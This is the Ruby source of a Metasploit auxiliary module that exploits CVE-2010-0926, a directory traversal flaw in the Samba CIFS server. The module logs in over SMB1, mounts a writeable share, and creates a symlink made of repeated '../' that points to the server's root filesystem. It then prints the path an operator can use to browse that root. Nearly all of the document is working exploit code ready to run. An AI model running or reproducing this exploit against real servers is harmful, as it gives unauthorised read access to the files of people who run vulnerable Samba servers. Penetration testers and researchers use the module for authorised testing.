Samba Symlink Directory Traversal

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

  # Exploit mixins should be called first
  include Msf::Exploit::Remote::SMB::Client
  include Msf::Auxiliary::Report

  # Aliases for common classes
  SIMPLE = Rex::Proto::SMB::SimpleClient
  XCEPT  = Rex::Proto::SMB::Exceptions
  CONST  = Rex::Proto::SMB::Constants


  def initialize
    super(
      'Name'        => 'Samba Symlink Directory Traversal',
      'Description' => %Q{
        This module exploits a directory traversal flaw in the Samba
      CIFS server. To exploit this flaw, a writeable share must be specified.
      The newly created directory will link to the root filesystem.
      },
      'Author'      =>
        [
          'kcope', # http://lists.grok.org.uk/pipermail/full-disclosure/2010-February/072927.html
          'hdm'    # metasploit module
        ],
      'References'  =>
        [
          ['CVE', '2010-0926'],
          ['OSVDB', '62145'],
          ['URL', 'http://www.samba.org/samba/news/symlink_attack.html']
        ],
      'License'     => MSF_LICENSE
    )

    register_options([
      OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server']),
      OptString.new('SMBTARGET', [true, 'The name of the directory that should point to the root filesystem', 'rootfs'])
    ])

    deregister_options('SMB::ProtocolVersion')
  end


  def run
    print_status("Connecting to the server...")
    connect(versions: [1])
    smb_login()

    print_status("Trying to mount writeable share '#{datastore['SMBSHARE']}'...")
    self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}")

    print_status("Trying to link '#{datastore['SMBTARGET']}' to the root filesystem...")
    self.simple.client.symlink(datastore['SMBTARGET'], "../" * 10)

    print_status("Now access the following share to browse the root filesystem:")
    print_status("\t\\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['SMBTARGET']}\\")
    print_line("")
  end
end